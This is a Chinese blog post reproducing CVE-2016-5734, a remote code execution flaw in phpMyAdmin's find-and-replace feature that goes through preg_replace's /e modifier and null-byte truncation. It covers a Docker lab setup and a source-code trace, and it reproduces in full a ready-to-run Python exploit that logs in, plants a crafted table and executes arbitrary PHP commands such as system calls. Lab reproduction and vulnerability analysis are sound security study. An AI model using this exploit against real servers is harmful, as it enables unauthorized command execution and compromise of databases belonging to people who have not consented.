首页 > 其他分享 >CVE-2016-5734 复现

CVE-2016-5734 复现

时间:2022-11-18 12:55:07浏览次数:35  
标签:CVE resp replace 5734 token 参数 table 2016 find

CVE-2016-5734

漏洞简介

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

以下版本受到影响:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

环境搭建

运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:

docker-compose up -d 

启动后,访问http://your-ip:8080,即可看到phpMyAdmin的登录页面。使用root:root登录。

image-20220813132205718

漏洞复现

使用poc进行复现,-u指定用户名,-p指定登录密码,-d指定用户创建的表名, -c为将作为PHP代码执行的命令

python3 poc.py -c 'system(ls);' -u root -p root -d test http://192.168.130.19:8080/

image-20220813133250404

成功执行命令之后会创建一个名为prgpwn的表

image-20220813132840726

漏洞分析

漏洞成因

Php中的 preg_replace 函数 该函数是执行一个正则表达式并实现字符串的搜索与替换。

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count: 可选,为替换执行的次数。

该函数的返回值:当$subject为一数组的情况下返回一个数组,其余情况返回字符串。匹配成功则将替换后的subject被返回,不成功则返回没有改变的subject,发生语法错误等,返回NULL。

image-20220813134908295

  • 正则表达式修正符:

因为$pattern中指定的是要搜索的模式字符串,一般使用的是正则表达式,正则表达式中存在修正符,像/i 就是指定取消大小写敏感等。但是其中一个修正符 “/e”,在替换字符串中对逆向引用作正常的替换,将其作为 PHP 代码求值,并用其结果来替换所搜索的字符串。

image-20220813151338212

因此这将会导致php代码执行:

image-20220813151237237

漏洞触发

首先找到preg_replace()函数的调用位置: 发现是在 /libraries/TableSearch.class.php 文件中

image-20220813140448336

可以看到 _getRegplaceRows()函数中 ,将参数find传入,并且将参数find作为preg_replace()函数的第一个参数使用。要构造payload 就需要将这三个参数 findreplaceWithrow[0]全部溯源查看。首先对_getRegplaceRows函数进行溯源:

image-20220813142027673

getRegplaceRowsgetReplacePreview 这个类的方法所调用,并且参数find与参数replacement都是经过该方法所传递的,再对这个函数进行溯源;

image-20220813142438039

发现getRegplacePreviewtbl_find_replace.php中使用,并且 参数findreplaceWith经POST方法进行传递。至此参数与函数溯源完毕。

前端查看该界面是phpmyadmin所提供的查找并替换数据表的功能。该功能是针对某一数据库中的数据表进行的查询功能:

image-20220813142849412

其中 “查找“ 的参数就是find 。“替换为” 的参数就是replaceWith

image-20220813142938399

现在针对这两个的参数都寻找到了,就剩下 第三个参数了,继续寻找。第三个参数为 row[0]。首先看到这个参数为一数组,猜想是由SQL语句查询并返回的第一个值。找到row[0],接着回溯result参数,其指向Sql_query

image-20220813143359346

回溯$Sql_query,其下的SQL语句可理解为:

 SELECT $columnname ,1,cont(*) FROM database.table_name WHERE $columnname  RLIKE ‘$find’ COLLATE $charset_bin GROUP BY $columnname ORDER BY  $column ASC;

并将这个查询后的值作为键值对,把键值对的第一个值给了 preg_replace()函数的第三个参数。

image-20220813143618291

PMA_TableSearch该类的一个析构方法,在创建这个对象的同时执行该方法;

image-20220813143923316

接着回溯,可以看到漏洞触发的 tbl_find_replace.php 中引用了这个 PMA_TableSearch
创建了 $table_search 对象。而在这里将 dbtable 这两个参数赋值。

image-20220813144106466

回溯这两个参数发现在 /libraries/common.inc.php 中存在定义,全局寻找该函数可以发现通过REQUEST方法来接收变量并将其设置为全局变量。

image-20220813144709168

该漏洞触发点,是在一个数据库表中操作而实现的,所以说,POC中是先创建数据表与列名,然后在进行参数的传递,这里可以直接将这个dbtable 直接作为参数所提交,创建的数据库为test,数据表为"prgpwn" 该表中的first列 的值为“0/e” ,该值也就是通过$sql_qury sql语句中查询得到的 $row[0]

image-20220813144955169

其中find传递的参数中包含 %00 将后面的反斜杠给截断。

最终执行时效果类似于:

image-20220813145347150

poc如下:

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
            

标签:CVE,resp,replace,5734,token,参数,table,2016,find
From: https://www.cnblogs.com/bktown/p/16902845.html

相关文章

  • 玩具谜题(NOIP2016)
    题目链接:​​玩具谜题​​​提高组日常水题。直接模拟,有需要注意的点会在代码后讲解:#include<bits/stdc++.h>usingnamespacestd;intmain(){intn,m;scanf("%......
  • Tomcat-CVE-2017-20615
    环境搭建:切换到vulhub对应目录docker-composebuilddocker-composeup-d漏洞产生原因Tomcat配置问题,配置了可写(readonly=false),导致我们可以往服务器写文件。  ......
  • Windows Server 2016离线安装.NET Framework 3.5
    安装方法:1、下载NetFx3.cab后将其放于C盘WINDOWS文件夹下(C:\Windows)2、点击“开始”找到“WindowsPowerShell”右击“以管理员身份运行”,输入如下命令:dism.exe/onlin......
  • P3643 [APIO2016] 划艇
    题意给你两个序列\(a,b\),求严格递增的序列\(c\)的个数,满足:\(\foralli,c_i\in[a_i,b_i]\)。特别的,如果\(c_i=0\)则无视当前这个\(c_i\)。Solution好困难的dp,耗我......
  • CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析
    0x01漏洞简介DolibarrERP&CRM<=15.0.3isvulnerabletoEvalinjection.Bydefault,anyadministratorcanbeaddedtotheinstallationpageofdolibarr,and......
  • P2827 NOIP2016 提高组 蚯蚓
    P2827NOIP2016提高组蚯蚓-洛谷|计算机科学教育新生态(luogu.com.cn)事实上,本题疑似所有题解和lyd蓝书上的证明均有误,本篇题解将给出一个严谨的单调性正确性证明......
  • [CEOI2016] kangaroo题解
    P5999[CEOI2016]kangaroo一类插入式的dp。对于这道题,我们得先做出一个转化,依次考虑每个数插到哪个位置,于是变成了求\(1\)~\(n\)的排列同时满足每个位置上的元素要么......
  • 卡巴斯基发布2016年2季度DDoS报告:Linux僵尸网络“挑大梁”
     据外媒报道,Linux僵尸网络已占2016年2季度发起的“分布式拒绝服务攻击”(DDoS)中的70.2%。过去三个月时间里,安全研究人员发掘出了运行基于Linux的固件、能够发起DDoS攻击、......
  • P1587 [NOI2016] 循环之美 题解
    P1587[NOI2016]循环之美这道题我推到后面推不下去了,最后还是看了题解。还是切不了这种题唉。前置知识:杜教筛开始时看不出什么,我们先用经验和手玩来找一下规律。我们......
  • Windows Update MiniTool 20.12.2016 控制Window更新下载及使用教程
    目录​​一、下载教程​​​​1.wumt官网下载​​​​2.网盘下载​​​​二、Windows更新配置​​​​1.检查更新​​​​2.下载或安装更新​​​​3.隐藏更新​​​​4.卸......